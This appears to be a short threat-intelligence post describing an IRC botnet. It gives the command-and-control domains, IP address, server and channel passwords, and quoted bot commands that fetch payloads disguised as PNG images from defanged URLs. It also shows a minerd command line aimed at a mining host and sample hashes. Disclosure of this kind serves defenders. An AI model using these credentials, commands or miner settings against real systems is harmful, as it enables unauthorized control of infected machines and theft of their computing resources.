y.osej36.com (Irc botnet hosted by gandi.net)

Resolved y.osej36.com to 92.243.8.222

Server:  y.osej36.com
Port:  80
Server password:  passwd
Channel:  #root
Channel password:  redem
!NAZEL hxxp://www12.0zz0.com/2013/06/21/20/723860853.png a392564eae140562e4b27d0ab078ba1e !NAZEL hxxp://upload.tehran98.com/img1/9kxogpyfckk2xwuzzn6j.png a392564eae140562e4b27d0ab078ba1e !s -n

A modified ircd is used, so you may have trouble connecting.

Alternate domains:
y.v23sdy.com
y.rwt234.com

Bitcoin mining info:  minerd.exe -a scrypt -s 20 –no-longpoll -q -o za.oisdj.com:443 -u anonymous.1 -p -x

Related md5s (search on malwr.com to download the samples):
Irc botnet: 4eff5faecb1576e724031c4579f30296
Bitcoin miner: a392564eae140562e4b27d0ab078ba1e

Hosting infos: http://whois.domaintools.com/92.243.8.222

Categories: Uncategorized